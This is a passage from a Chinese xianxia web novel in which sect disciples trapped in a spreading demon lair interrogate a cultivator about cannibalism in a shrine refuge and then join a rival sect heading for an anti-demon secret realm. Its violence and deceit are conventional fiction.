这人在之前任务途中比她还消极怠工。
如今到了涉及生命安危的时候,倒是积极起来,从他不间歇地大范围释放神识搜查,可以看出还是比较细致和迅速的。
大致是过去了两盏茶的时间,正在搜寻的两人传讯符有了动静,还被标上了距离和方位。
这庇护点找到的挺顺利,张苔已然迫不及待前往。
主要是她刚升阶不久,亟需一个安稳的地方进行巩固修炼,而庇护点的安全于张苔而言还算是差强人意。
两人催动灵力朝指引方向疾驰,整个远石镇压根没什么人,就算是横冲直撞损毁了一些物什也没什么要紧。
沿途越发荒凉,分开层层草木,张苔远远看见了青石阶上的庙宇轮廓。
随着距离的拉近,庙宇的轮廓渐渐清晰,朱红的庙门半掩,门上金漆勾勒的驱魔纹路隐隐流动,檐下悬着的青铜伏魔铃在风中清响,顶上匾额题“庇尘庙”三个大字。
石阶两侧还各分布着一只石狻猊,估摸着被修士用灵刃修整过不久——有着庇护点的镇上自然要定期进行维护,很传神,一只狻猊正附身撕咬魔物,嶙峋的脊骨如山脉般节节突起,另一只则爪下压着魔物仰头咆哮。
整个庇护点由一个倒扣的罩子结界笼罩,这应该是一个大型阵法。
这里应该就是庇护点没错了,另外一组被发传讯符的队友应该还没来,所以阵法之外石阶之下应该就是发传讯符的两个队友了。
不对,张苔眨了眨眼睛,怎么有三个人。
神识细探,她就感知到震惊的一幕,孙元衣袍猎猎,属于金丹期的威压毫无保留倾泻。
她五指微张,灵力如无形之手,隔空死死扼住一个陌生修士的咽喉,将人狠狠抵在结界之上。
那修士不过炼气修为,瘦骨嶙峋的,脸色已憋得青紫,双脚蹬动着,抓在脖颈前虚空的双手青筋凸起像是在奋力掰开什么。
挣扎的力度迅速减弱,再这样下去不久,估计此人就要殒落了。
张苔迅速往庙宇方向赶,同时厉声喊道,“孙道友,你在做什么?!”
8. 魔窟(三)
张苔赶到石阶旁的时候,孙元已经将人放下。
然而人还没喘几口气,孙元又继续隔空将人给掐摁在结界上。
没等张苔有所动作,孙元旁边的冯阳就开口了,“张师妹不要这么冲动嘛,正所谓眼见不一定为实,别看孙师妹现在一副不依不饶的恶人模样,谁知道咱们两个队友说不定就遭了他们的毒手,还在里边庙中情况不明呢?”
张苔其实也知道孙元定然是把握好分寸的,尤其是看到她的分组队友冯阳还好好地站在一侧,就算孙元下手没个轻重,冯阳这个心思深沉也会劝诫下来。
主要是,她不表现得要介入插手一点,以孙元的目中无人和冯阳的态度不明,她不一定能够得知现场究竟发生过什么。
只是没想到一来就听到这么炸裂的消息。
她表示不敢置信,“不能吧,黎秀梅和叶明堂好歹也是两个大宗门的金丹期弟子,怎么会在一个偏远贫困的镇子上翻船呢?这到底是怎么一回事?”
队伍里莫名其妙少了两名队友,冯阳也心底烦躁,更多的是对未来的担忧,怕自己还真因为一个侦测任务交代在这里。
他耐着性子解释,“具体什么原因,这不是在审?我和孙师妹一到这里就没别人,后续这人就从庙里走出来,说什么魔物肆虐要我们快进去,几番引诱我们踏上台阶。”
“你知道的,庇护点除了拦截魔物,对其内修士也有约束动手的作用,所有术法越靠近那庙门就越发削弱直至没有,唯一的突破口,就在只有这个出来迎接我们的人,先给他点颜色瞧瞧,免得到时候问话的时候弄虚作假含糊其辞。”
这些话算是清楚地解释了他们组来到庇护点后发生的事情,张苔正想着,识海里传来一道传音,“你俩来得正好,顺势补上唱红脸的角色吧。”
张苔理解冯阳什么意思,于是摆出不甚赞同的态度,“既然出来的只有他,证明他要么是枚弃子,要么在里边的人中份量不怎么重要,咱们为难他也没有用啊,不如把人放下来,看他怎么说。”
孙元将人放下,语气冷漠道,“好好说,否则我手上不介意再多出你这条人命。”
落地的瘦弱炼气修士跪在地上大口喘着粗气,听到这话打了个寒噤。
知道孙元不耐烦细问,冯阳接过话语权。
“第一个问题,你们先前是不是带走了两个人进去?”说着冯阳将叶明堂和黎秀梅的外貌特征简单描述了一下。
瘦弱修士呼吸稍稍平缓了一些,就哭丧着脸道,“庙中是被带进来两个这样的人物,但几位前辈仙长,这些真的不管小人的事啊,小人只是这次被推着出来,如果不完成他们的要求,小人就要被当场煮着吃了啊。”
说着又利落地哐哐磕了几个头,“求仙长救命,我不想回去被煮着吃了,但也不想留在外边被魔物吞了。”
张苔听得直皱眉,以前也依稀听说过中州沦陷之后,其实庇护点中也算不上绝对安稳,里边也存在过各种惨无人道的事情发生。
但到底隔了一层,而今事实赤裸裸地摆在眼前,到底让人生理不适。
而且人吃人这种现象在庇护点委实也比较少见。
冯阳面上也闪过一丝困惑,但不过一瞬恢复正常,至少情绪没泄露半分,“只有你说清楚到底是怎么一回事,我们才好动手帮你。”
声音照旧威严,“先前我那两位队友,你多多少少应该也能从那些大人物的交流中听到我们是大宗门的弟子,也带了不少法宝来,只有你提供的消息足够有价值,法宝破例被动用带着你离开我们才不会受宗门责罚。”
瘦弱修士闻言仰头,黑脏凹陷脸颊之上的眼睛放出光芒,“真的吗?仙长你尽管问,我知无不言。”
冯阳笑容和煦,眼也不带眨一下地说谎进行安抚,“当然是真的。”
“先从这里的情况说起吧。”
“你们镇上先前发生了什么?远石镇起码还有三分之一的区域未被魔窟覆盖,但你们镇上看起来怎么只剩庇护点里这么一点人?还要沦落到要人吃人的地步?”
瘦弱修士陷入回忆,“变故大概的说,是在十几天前发生的,那时镇主突然召集镇上还活着的人,尤其是修士。尽量在第二日的日入戌正往洪家农贸墟市聚集,说有大事宣布。”
“在魔窟扩张这个生死攸关时期宣布的,大家都认为跟提高生存率有关,故而纷纷前往。”
“谁知道当天洪家斗农贸墟市时间一到戌正,就出现了一个极其厉害的魔物,距离它最近的几十位修士当场化为灰飞,之后继续大开杀戒,那魔物比一般魔物都要厉害很多,听说从它身上可以蔓延出无形的丝线,被那东西一缠上就会被吸走生命力。”
他的脸上显现出几分感慨,
“一开始我还遗憾自己被挤在人群外围,却没想到这倒给了我更多的逃生机会,我很快就想到庇护点,一开始来这里我就在猜会不会公布庇护点名额的分配办法,之前名额全是镇长的亲族,咱们镇差点造反逼得镇长不得不当着大家的面把整个庇护点封锁了。”
“而今这镇长显然有问题,说不定那层封锁也不再有效果,又很幸运我所在的方向不需要绕过人群和魔物,于是我紧赶慢赶总算进入了庇护点,后续又陆陆续续来了一些成功躲过魔物收割性命之人。”
说着说着他带上了怨怼,“本以为躲过这次劫难就万事大吉了,只等仙城抑或大门派来清剿魔窟,大家都可以出去了,谁知道这一等,就是十天半个月,大家都没吃的,其中不乏就有些道德沦丧之辈干上了丧尽天良之事。”
最后一句话说的尤为小声,如果他们这些人不是修士,估计都听不到。
张苔听得极为困惑,“你们之中的修士没有辟谷丹的吗?一颗就能抵一个月,你们这顶多也就百余人,筑基即可辟谷,你们这里边炼气期加上凡人都不到一半,凑个几十颗辟谷丹的事,应该不至于让你们凡人和炼气修士之间人吃人吧?”
对于张苔的提问,冯阳没有多说什么,因为这也正是他觉得不符合逻辑的地方。
瘦弱修士面上带了一丝苦笑,“前辈仙长,你恐怕是不知道自从魔窟在寒矿镇诞生以来,这附近几个镇子的修炼资源,那价格是以怎样的速度疯涨,哪怕就是一颗辟谷丹都涨到了我等穷困修士买不起的地步。”
“至于庇护点现在的修士情况,说出来你们可能不信,成功逃到庇护点的,还真是炼气期修士居多,筑基的仅有两个,金丹及以上的完全没有。”
他指了指孤庙,“也讨论过这个奇怪现象,按理来说,修为越高,行动越迅速,更能逃到这边来,后续猜测,可能是修为越高,越容易被盯上进而越难逃脱。”
听到这话,冯阳不期然想到那个诡异屏障。
当时自己和杜伍攻击屏障,明明只将攻击术法的灵力吞噬了,而到了孙元,不仅仅是她的攻击灵力,连她整个人屏障都想带走。
从先前瘦弱修士描述中可以推测,降临墟市的是那位魔王无疑了,而诡异屏障也是那位魔王的手笔,两者应该共通,该被带走的也应该是他和杜伍才对,可孙元的修为怎么看也确实只有金丹初期。
可能不是按照修为,是按照别的什么。
冯阳按捺下心底的怪异感,将思绪拉回现实,“最后一个问题,我的两位队友都有金丹修为,里面领头干人吃人这事的,只有炼气修为,是如何制服我那两个队友的。”
“这和你要将我们引入结界,使用的手段是否相同。”
瘦弱修士回答之前,期冀看向冯阳,“最后这个问题回答完之后,仙长们会带我到新的安全区域的,对吗?”
冯阳肯定点头,“那是自然。”
瘦弱修士其实心里还是抱有怀疑,但想想自己也没别的退路,也只能抓住这唯一的救命稻草了。
他坦诚相告道,“因为领头人曾机缘巧合得到过一些毒粉。”
“听他说,这种毒粉,哪怕元婴修士吸入都会有片刻恍惚,你那两个队友,当初是领头人出来亲自交涉的,被直接撒了毒粉而昏迷。对付你们的手段应该也是这个,这次他更谨慎,让我把你们引到彻底不能动用灵力的庙内。”
有些话可能是憋的太久,按理说,介绍到这就差不多了,瘦弱修士还在继续。
“庇护点中的那两位筑基是最先中招的,不仅储物法器被夺,还被用以震慑筛选,两人被做成食物,并拿来给在场所有人享用,不肯吃的在当时就被排斥在外了,大部分在之后也没了加入资格,成为了后备粮。”
他的神情有些苦涩,“我就是这样被筛选出去。”
转而看向他们四人的神情变得狂热,“你们会带我离开的,一定会带我离开的,对吗?”
说着整个人往他们这边爬,快要出结界外。
冯阳眼疾手快用灵力阻隔住对方,并温声安抚,“是的,你先别激动,先起来再出来也不急。”
说这话的同时却是看向孙元。
孙元摇头,这边冯阳表示明了,然而当瘦弱修士的情绪稍稍缓和一点,一道银光如蛇窜向瘦弱修士眉心,冯阳当即对他展开了搜魂。
不过一息,瘦弱修士发出凄厉的惨叫,身体剧烈抽搐起来,双眼翻白,口中吐出白沫,如同断了线的木偶般瘫软在地,眼
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神涣散,嘴角挂着痴傻的笑容。
显然是神智受损,完全傻了。
张苔收回目光,尽管内心不适,但理智上她知道队友这么做是正确的,对方是敌人,谋害过她的队友。
一开始不搜魂,是因为凡人和低阶修士神魂脆弱,强行操作,容易导致对方神智混乱,记忆缺失,得到的消息不全。
然后经过一番威逼利诱,得到全部消息后再搜魂,纵使记忆不全,但也能对之前得到的信息进行核验。
只是有些唏嘘,她自个儿便是出身乡野村落,当初若是没能在修为上有所成就,倘若生存的地方也变成了魔窟,很难不保证也沦落到瘦弱修士这个样子。
只能恨恨感慨一声,这该死的世道!
不过张苔向来不是沉湎于情绪的人,故而感慨之后,便向冯阳询问道,“如何?对方所说没有弄虚作假的地方吧?”
冯阳皱着眉翻阅完从瘦弱修士那里得到的所有记忆片段,“没有,不过里边那个称王称霸的还真是比较棘手,要将两位队友救出来以及咱们安稳顺利在这里落脚,怕是有些困难。”
“庇护点的情况全在他的掌控之中,最开始被做成食物的两位筑基修士身上的毒顺带进入食用者,为了解药也都成了他的拥趸,至于那些储备粮,也不知道他怎么操作的,全部都是昏迷状态。”
他按压着太阳穴,“完全进入庙中灵力便会被桎梏,咱们赤手空拳去对付里边二十几个人还是算好的,毕竟他们也只有炼气期,肉.身强度不如咱们,而且我也有修过一些炼体功法,怕就怕在,他毒粉往空气里一撒我们就全军覆没了。”
孙元闻言突然插进来询问道,“冯阳,你记忆里,庇护点对法器的限制大吗?”
冯阳摇摇头,“看不出来,这处庇护点的修士大多都是炼气期的穷修,身上没什么法器灵具?至少在他的记忆片段里没看到法器发挥作用过。”
“如果按照大多庇护点特征的话,法器需要灵力启动,大多时候不能用吧,除非你有被动的那种,自动净化毒素?”
说着他精神一振,“孙师妹,你是大族出身,身上应该有携带一些百毒不侵的丹药吧,有了这个,我们被动的局面会改善很多。”
神色淡漠的孙元难得显现出几分焦躁。
东西她身上自然是有的,但此次出行,她折损不少珍品却始终没得到半点自己想要的,不到生死关头,她不愿再做更多消耗。
于是她只是没好气甩出一句,“你当我百宝箱散财呢?没有!”
冯阳也有些失望,他看了看天色,“看样子这个庇护点是进不去了,希望今晚不会魔窟扩张,这个晚上我们恰好想想如何将黎师妹和叶师兄带出来的办法,明日再去找找矿韵镇有没有庇护点?”
张苔觉得这个决定实施下去可能会比较艰难。
其实她有一种预感,今晚很大概率魔窟会扩张,毕竟远石镇十几日前就已然失守,然而途经上一个镇的驻守点时,对方却说远石镇不久前向他们借了人手,那些人手全部回来了,目前处于隔开观测期。
远石镇主早就出了问题,恐怕回去的那几个,是高等魔物,祂们形态维持不了多久,估计在隔离的第二晚魔窟就会扩张,对驻守点展开里应外合的进攻。
当初那位驻守点的金丹修士说时间的时候,张苔没有很留意,但今晚应该是第二晚,毕竟他们经过驻守点的时候是大清早。
而且矿韵镇是又深入一层的魔窟,有多凶险,他们先前也经历过一次,魔将层级的存在威胁还是太大了,他们能不能活着找到矿韵镇的庇护点还真说不定。
以上她的这些队友未必不知晓,只是对于眼前的困局大家都无可奈何,而人都是有惰性和拖延的,至少后边那个难题,也得过上一段时间才出现。
四人离开庇护点,走着走着,就到了矿韵镇和远石镇的交界处,此处离庇护点其实也不是很远。
“远石镇这边,算是魔窟很外围了,魔物出现得比较少,白日基本没有,夜晚可能会晃荡过来几只。但如果不幸,今晚魔窟就扩张的话,至少这个距离,我们跑回庇护点那边还是绰绰有余。”
冯阳说着叹了口气,“至少未进庙门的石阶前还可以动用部分灵力且有一层结界阻拦着,如果结界阻拦不了,咱们再进去后见机行事吧,目前先这样走一步看一步。”
这话过后,队伍中彻底静默了,四人背靠背坐在一块,等待夜色降临。
暮色如潮水漫过天际,当最后一线金光即将被远山吞没的时候,张苔看到,几道黑影从树林中窜出,朝这边逼近,轮廓在暗蓝的天幕下越来越长。
9. 赤云
四人严阵以待,周身灵光流转,法器嗡鸣,剑尖吞吐寒芒。
谁料随着距离的拉进,半空倏然亮起五盏青莲灯,照出来前方一众人影,其中有位还回头喊道,“魏师姐,前边突然出现了四个,呃,不知道是修士还是高级魔物。”
那些人纷纷止住赶过来的步伐,除却一位着雪白长衫,眸光如寒星璀璨的高挑女修,缓缓走至最前。
她掌心向上,随即,一股清冽如泉、晶莹剔透的灵力自她掌心溢出,如同冰雪般纯净,不容任何杂质。
“高级魔物的灵力,若是要到达我这样纯粹浓郁,且在操纵下这般温顺无攻击性的程度,至少也得魔王层次,魔王不会给几个金丹修士反应的时间,而是直接吞元。”
“前方的四位道友,我们这群人,修士身份毋庸置疑,现在,你们得给出身份证明,否则,一律按高等魔物当场斩杀。”
得知来的不是魔物是修士,四人顿时轻松了很多,尤其是对方的态度也称得上客气,要求他们证明自己的身份前先进行了自证。
冯阳刚想从储物法器中拿出验魔珠证明自己身份,但随即想起,宗门所给的探魔石都失去了效用,更何况是相比之下有些粗制滥造的市面上售卖的验魔珠。
于是他将目光移向孙元,他们队伍里这位貌似灵力和对面女修有些相似,同样极为浑厚纯净。
冯阳想到的,张苔和杜伍自然也意识到了。
三人的目光齐刷刷看向孙元。
此时孙元已直接祭出了她那套符阵,手上还握着一把六阶镇魔符,“倘若我是魔物,这些物什一出来,绝不会半分动静都没有。”
感知到队友看过来的目光,孙元毫不意外也知道他们在想什么,但她的灵力纯净度与对面白衫女修相比还是差上不少,她当然不会自取其辱。
随后,她又扬了扬手中的镇魔符,将其用灵力卷着送到白衣长衫修士面前,“你可以检查一下真伪,我料你出身应当也不俗,六阶镇魔符应当还是可以辨别的。”
看得出孙元此刻心情很不错,不过来了这么一群人确实从某种意义上来说是一种转机。
白衫女修确认之后点头,“我是赤云宫内门弟子魏敏贞,因宗门任务来到此处。眼见夜色将黑,恐魔窟扩张,不如我等速速进入矿韵镇,挑个位置安顿下来之后,再做详谈?”
得知对面当真有防范魔窟的办法,张苔差点都想喜极而泣。
另外三人心情跟张苔也差不了多远,于是他们一行四人便跟着赤云宫这行人一块行动。
*
赤云宫这行人应对扩张魔窟的办法是使用藏匿类灵器——灵器上被打了标识,属于宗门,显然也是任务用品,不过比抠搜的玄天宗要高档很多。
他们挑选了一处极其偏僻的足有半人高的草丛地,确认四周无魔物,启动灵器后,当赤云宫弟子走入草丛中,便彻底隐没不见踪影。
张苔几人也随着赤云宫弟子的队伍进入草丛,走入伊始,就是普通寻常的那种走入草丛的感觉。
但再往前行进一段距离后,只觉身形一轻,头眼昏花。
再次有落地的实感时,张苔看着并感知到的是一处纯白空间。
走到纯白空间的边界墙壁处,也不会被阻隔,走出墙壁后就重新回到了矿韵镇的郊野。
在郊野远远一看,谁知道这样一处平平无奇的草丛其间另有乾坤呢?
重新进入藏匿灵器,赤云宫弟子貌似已经习以为常,各位已经驾轻就熟地或开始打坐,或钻研玉简卷轴,或躺卧休息,而自己队伍这边,见到冯阳孙元他们已经在和白衫女修魏敏贞沟通了,张苔也赶紧凑过去听着。
“赤云宫属地内的丹砂镇主挟持走我宗一批内门弟子,其中不乏内峰长老的儿子,故而派我等追踪。没想到丹砂镇亦成了魔窟地界,被魔窟之主领域覆盖而无法撤退。”
寒矿镇本就位于玄天宗属地边缘,与赤云宫属地间隔一个镇接壤,就是没想到这魔窟扩张地这么迅猛,直接给扩到赤云宫地界去了。
魏敏贞三言两语将不慎误入魔窟的缘由讲述,又继续道,“至于绕路来到矿韵镇…”
“这个魔窟的非比寻常显而易见,我以及我的一些队友不想坐以待毙,决定主动出击,进入抗魔秘境,借助秘境的传送功能,通过考验后被传送离开此处,回到宗门如实禀报。”
“而我调查得知矿韵镇中,恰巧有一处抗魔秘境。”
这话在他们这群玄天宗弟子中炸开了不小的反响。
在队伍中压根没怎么说过话的杜伍都大声表示不理解,“那可是抗魔秘境!不是宗门里某处高阶修士的后花园!”
张苔和冯阳也多多少少看得出几分抗拒。
作为大陆上逢魔时代的修士,恐怕没有几个不知道所谓的抗魔秘境。
抗魔秘境可以说是独属于修仙史上末修时代的特殊产物——前提是修士最终能够彻底消灭魔物,迎来新生,否则末修时代不是历史,而是凡人修士一族的绝响。
当初修仙界最高权威的修士,即逢魔乱世的首届战神,在给这一时代命名时,选择末修时代这个称呼,一是契合时代特征“末日下的修行”,二是作为警醒“不要让人族真的成为修行的末尾一代”,三是真的希望广大修士能够“修正魔物乱象,迎来新生”。
在逢魔乱世末修时代之前,秘境与遗址、洞天福地、古藏遗迹等等,这些地方类似,通常都是修士们得到传承法宝机缘的地方。
但随着魔物的诞生,尤其是到祂们猖獗肆虐,属于修士凡人们的土地大量沦陷的时候,大宗门和世家,其内的大能们就会开始往大陆上不断创立抗魔秘境。
这种地方,形式和秘境相同,但魔物一旦踏入,不是阵亡在秘境里层出不穷的杀机中,就是在下一次秘境重启时被强制性灰飞烟灭。
可是,抗魔秘境太多,同样引起了大量普通修士的怨声载道。
不小心踏入抗魔秘境之中,里面的生死危机同样也威胁着它们,而且运气不好与魔物一同进入,魔物们知道自己必死无疑,更加癫狂,抱着同归于尽的态度一味针对他们,这对他们通过考验,传送出秘境形成极大干扰。
最为糟心的是,曾经的秘境,往往是机缘与风险并存,而抗魔秘境里,重在剿灭魔物,奖励稀少得可怜,甚至没有!
若是领土大量沦陷,修士凡人一族生死存亡之际,倒是可以忍受。
但其余时间段里,抗魔秘境还这么不分敌我地肆意吸纳他们,广大修士们自然不干,更有甚者,连抗魔行动都不再参与。
于是抗魔秘境做出调整,在中州全面沦陷之前,抗魔秘境开启需要一定条件,增加抗魔秘境中修炼资源的丰厚度,提高各种稀世灵材甚至法宝的出现频率——虽然仍旧无法和正常的秘境相提并论。
且在抗魔秘境中,魔物也有了唯一的生路,只有当修士通过秘境里所有的考验要被传送出去的那一刹那,魔物才能恰好附身在修士身上被一同带出,以及还做出限制,一位修士只能被一位魔物附身。
年少进学之时,夫子就提出过如此建议,当你被实力强于自己的魔物追杀,且发现自己难以逃脱之时,假使恰好发现周围有抗魔秘境,可以考虑一入,利用其中杀机解决此魔物。
但除非是性命攸关,实在走投无路,否则这抗魔秘境,实在没什么去的必要,性价比属实太低了!
冯阳询问,“抗魔秘境凶险万分,大家全军覆没不无可能,咱们长久未曾回去,宗门也早晚会察觉,派大量人手过来,你们拥有这样好的灵器,在魔窟里撑过这些天不是问题。
何必至于非要前往抗魔秘境,然后通关秘境,最终利用秘境出口传送离开?”
魏敏贞对他们的反应很是无所谓,她平静陈述道,“你们什么看法感受与我无关,我不过是在本着同为修士的情分,跟你们介绍情况。”
“你们若是愿意跟随我们明日前往抗魔秘境我们欢迎,若是不跟随我们明早就分道扬镳。”
孙元率先表明立场,“这抗魔秘境我是定然会去的。”
若是仔细留意孙元的情况就可以发现,从头到尾,她对抗魔秘境的事就没抵触过,甚至还
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有隐隐的欣喜。
冯阳三人还能说什么呢?
等到宗门排遣人手下来,经过层层程序,最快也得半个月,半个月内如若魔窟扩张,他们还将面临今日同样的艰难抉择。
现在只不过是又多了一条未来不确定的路,这些路生还机会都不明了。
冯阳深深吐出一口气,“我再考虑考虑,明早再给出答复。”
魏敏贞看着几人或苦大仇深,或唉声叹气的模样,皱了皱眉,“不必特地来找我说明,想去就跟着我们一块行动,在进入抗魔秘境前反悔了也可以直接掉头就走。”
“还有什么要问的吗?没有我就守夜去了。”
目前几人暂时想不到别的要问的,于是冯阳询问之后还有疑惑能找她与否。
魏敏贞颔首,“当然,你们也可以跟我的其余同门进行交流,只此一点,不准起纷争,否则无论什么原因,我都会将你们请出去。”
说完,她就转身离开,直至靠近纯白墙边停下,环臂抱剑,闭目散开神识,望风观察留心着外边情况。
事已至此,张苔觉得自己的思量价值不大,毕竟在彻底的未知面前,任何做法都只是赌博而已。
就连庇护点的那两位,生还概率都不一定比她低,说不定庇护点中领头的,见他们是大宗门弟子,顾及杀了他们会在魔窟清剿之后被玄天宗清算,反倒不敢动他们,进而在庇护点捡了一条命也说不准。
看明天队伍中多数人的选择吧,冯阳和杜伍只要有一位决定前往抗魔秘境,她便也去。
与其白费心思去抉择,还不如抓紧这点时间,巩固一下她的修为,靠着外物突破总归让她觉得有些虚浮。
这么想着,她在周身三尺范围内布下一层结界,盘腿坐下,准备从储物法器中拿出灵石吸收灵气修炼。
不期然间她与赤云宫一女修对视,对方见张苔看过来,朝她微微一笑。
张苔一边回以礼貌笑容,一边回忆起,当初他们玄天宗和赤云宫双方人马初会面的时候,这位女修看到自己,神态有些没崩住,诧异在她脸上一闪而过。
只不过当时情态不允许,张苔也就没有深究这点。
张苔不禁细细打量对方。
这位女修身形匀称,面容有些瘦削,很是大众修士的五官长相,总的而言,外貌跟自己一样是那种扔在人堆里一眼找不着的那种。
不过无论张苔怎么看,她脑海里都没有半点曾经对此人的印象。
那就是不重要的人,张苔收敛心神,意图重新回归进入修炼状态。
却见对方倏然收起玉简,朝着自己走来。
对方约莫是个急躁的性子,直接用上了步法,瞬间出现在她面前,曲起指节在结界上敲了敲。
张苔撤了结界,用疑惑的眼神传达“你过来有什么事?”
女修弯腰脸庞凑近,一双眼睛认真地看着张苔,“我是郑尔雅,张苔你确定不认识我?或许我们的确不曾在现实见过面,但在别的时间线呢?你要不再好好想想?”
郑尔雅一边说着一边重新又布下一层结界,张苔往后仰隔开两人距离,后脑勺恰好撞在结界上。
看着张苔这幅完全不熟、避之不及,还撞了脑袋的吃痛模样,郑尔雅毫不遮掩地笑了一声,“哈哈,看来还是没想起,也是,若是想起了也不会混的这么惨。”
张苔简直不知道这人在发什么疯癫,但又顾及着这是对方的地盘,不能直接将人揍一顿扔走,只能冷冷道,“没有什么事,还望道友能离开。”
只是她没想到郑尔雅直接充耳不闻,还朝她示意了个方向,“嘿,你有没有觉得你们队伍里另外那个女修得知我们赤云宫的行程后格外兴奋啊,在咱们魏师姐面前,就跟我在你面前一样热络。”
张苔看过去,孙元确实在和魏敏贞说话,但这又怎么样,眼前这人到底想表达什么?葫芦里又卖的什么药?
她皱眉看着郑尔雅,郑尔雅貌似也不需要她的反馈,仍旧自顾自兴味盎然地说下去,“因为你那个队友啊,她以为要去的,是首任战神留下的遗藏秘境呢!”
10. 误传
这话成功引起了张苔的兴致,她重复了一遍,“首任战神留下的遗藏秘境?”
那可是首任战神啊,在面对凶残暴虐,繁衍迅速,还能同化修士的未知存在,整个修仙界即将全部沦陷的人族危急存亡局面,愣是力挽狂澜,带着追随者将魔物赶至大陆的西南域。
后续千余年中,更是开发灵脉、研创功法、培养人才、饲养灵植灵兽、借助地势修筑防御工程、重新激活开新秘境遗址等等,引领人族走向强大,与魔物大军在战线上进行拉锯。
这样一位划时代人物,留下的遗藏秘境,其诱人度可想而知。
“不过你怎么能确保这不是谣言?我没记错的话,目前坊市上还存在不少骗子售卖藏宝图就还打着哪位哪位战神遗址的幌子呢。”
郑尔雅一脸我就知道你会这么说的表情,“是谣言的话,以你队伍里那位的身份也不会出动啊,且我猜测她身上还带了不少好东西。”
随即脸上又浮现出几丝嘲讽,“不过她的身份还是太低了些,约摸着也就听到了一点风声,知道在金砂仙城这边,但具体位置就不知晓了。”
张苔抓住重点,“所以说,你们赤云宫此次前去的,不是首任战神的遗藏秘境?”
“答对了!”郑尔雅重重点头,“不过你可不要跟我队伍里其余那些人说,毕竟明面上,我跟他们都是在追踪丹砂镇主路上,听祂泄露首任战神遗藏秘境地址才进来的,不然你看我们这批人怎么这么配合?因为是经过筛选的了,不愿意的压根没来,来的都是乐意进去闯一闯的。”
“可是这不对啊,既然这些你都知晓,为什么还要进来,不前往货真价实的战神遗藏秘境?难不成这个抗魔秘境的性价比还高于战神遗藏?”
张苔表示不解。
闻言郑尔雅白了张苔一眼,“人贵有自知之明,首任战神就是首任战神,她的遗藏有那么好拿?再者,你不觉得这个魔窟扩张速度太快与一般魔窟截然不同?”
“那是因为那边秘境里,混入了实力超群的高等魔物啊!祂顺手把遗藏秘境附近的地方圈了,给祂做后续补给用,不过你也不要太担心魔物作乱,先不说能进入那边秘境的绝大多数都并非泛泛之辈。
且大陆顶尖八大宗门排行第一凝光宗律令峰首座的林白圭,整个大陆不上百位数的炼虚大能中能在前边排得上号的,还是上任战神大弟子,也在其中。”
“尽管如此,那边凶险着呢,咱们这种小虾米进去,一不留神就把命送了,而这边这个抗魔秘境,有几位世家子弟听到一点风声却没找准地方,反成了冤大头给我们开路,让我们捡漏,这有什么不好的?至少存活概率高了许多。”
说了这么多,郑尔雅也有些意兴阑珊了。
“你若是信我呢,那就跟我们这批人行动。
你要知道,那个沦为魔物的丹砂镇主按指令,引我们这么多修士进来是做补给用的,留在这里不知道有多危险!相比之下,魏敏贞歪打正着用法宝探到矿韵镇的抗魔秘境,虽也有危险但更有收获啊!再者,我们修士本就应逆天而行,磨砺自身。”
然后就要跟她交换传讯符,“等从这里彻底出去分道扬镳之后,你若是证实了什么颠覆认知、怀疑存在的事情,可以联系我。”
张苔按照指示交换完传讯符后,就愣愣地看着郑尔雅撤掉结界走了。
皱着眉头思索了一会儿,张苔认定,这就是个怪人,跑到她这里说了一堆不知所谓的话。
因为话里很多内容,压根就无法求证。
可偏偏又很符合逻辑,有一定的道理,还有,林白圭这个名字,怎么这么耳熟呢?
对方是大陆顶尖八大宗门排行第一凝光宗律令峰的首座,也算得上是修仙界的翘楚人物,或许曾做出匡扶人族、泽被苍生的杰出事迹而名扬天下时,自己听过他的名字应该也不稀奇?
古怪的是,这个想法一冒出来,她觉得更不应该了,但还不待她细想,一道声音突兀打断。
“适才那位道友,是你的旧相识?她跟你交谈了一些什么?”
冯阳不知什么时候走到了她身边,进行询问。
张苔摇摇头,“我不认识她,但是她偏说认识我,明明她自个儿修为比我低还说我怎么混得这么惨。”
听了这话,冯阳仔细打量了郑尔雅一番,发现对方的修为确实是金丹中期,但别的则探不出深浅,给他的感觉和孙元以及魏敏贞这种世家修二代弟子有些类似。
“可能不是修为这方面?我看她身上的法衣和佩戴的一些防具确实品质精良。”
嘴上这么说,心底却又不期然想起魔窟边界的诡异屏障更“喜好”孙元、孤庙庇护点炼气期修士所言成功逃离的只有些低阶修士、孙元见张苔利用自己灵液进阶完全不在意且眼底划过一丝不屑等。
他悠悠叹了口气,“不知是不是这趟任务之行有了生死之危也不禁给了我莫大压力,我这一路竟有些疑神疑鬼。”
张苔深有同感,她抬起手敲了敲脑袋,“谁不是呢。”
*
约莫接近夜半时分,神识传来的警觉以及藏匿法器外的躁动,让她从修炼状态中断出来。
散开神识,她清晰地感知到远方而来浩浩荡荡、如同洪水泛滥似的魔物群。
他们密密麻麻、你推我攘地在街道上肆意横行,一间一间屋子搜寻过去,房屋中的任何一处角落都没有放过。
魔物群中,最多的打头阵的低等魔物都给人不小的压迫感。
尽管事先魏敏贞安抚过他们,藏匿法器是精于空间神通的炼器师打造,封闭后,属于另外一层空间,但随着魔物群距离的逼近,张苔仍不免心中惴惴。
直到亲自见证形容可怖的魔物碰上场内修士,场内修士诸如透明般被穿插而过,她才略微放下心来。
扪心自问,倘若自己没有在此之前碰到赤云宫的这批人,进入这处安全的容身之所,她就连自己能不能全身而退逃脱到先前找到的庇护点,都难说。
相比于玄天宗几位宛如惊弓之鸟的紧张,赤云宫的弟子,已然在魔窟经历了好几晚,对于灵器的效用更有信心,状态也是放松许多,甚至有一位弟子啧啧感叹一声,“前边的镇子,今晚恐怕要失守了。”
总归这一晚还是没发生什么意外,在压抑沉重的宁静中度过。
第二日天将明之时,又有一些魔物回流,显然,前方镇子起码沦陷了不少地域,此时的矿韵镇已然算不上魔窟外围,活动的魔物增多。
至少张苔神识感知到的方圆数里之内,便出现了三只魔卫、十几只魔使、几十只魔卒,晃悠的低等魔物更是隔一些距离就有。
魏敏贞此时手中正拿着地图灵具,跟周围的几位修士商讨着什么,郑尔雅也在其列。
这时候,冯阳突兀地靠近那边,不知对魏敏贞说了什么,魏敏贞挥了挥手,然后张苔就看见冯阳带着几位赤云宫弟子匆匆离去了。
赤云宫有位弟子身侧出现了一个檀木箱,她开始从箱子中取出一面又一面阵旗。
郑尔雅不知何时又晃到了张苔身侧,“抗魔秘境开启点还要往里走,咱们这么多人,直接行进目标太大不方便,于是决定用传送,不过没有阵引,所以传送过去的位置
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还要推衍。”
说着她打了个哈欠,“又要容纳十几人,这恐怕是个四阶起步的大阵,咱们有的等了。”
阵法布置的时间确实有些久,期间冯阳回来了,令张苔震惊的是,这厮居然还把黎秀梅和叶明堂给带回来了。
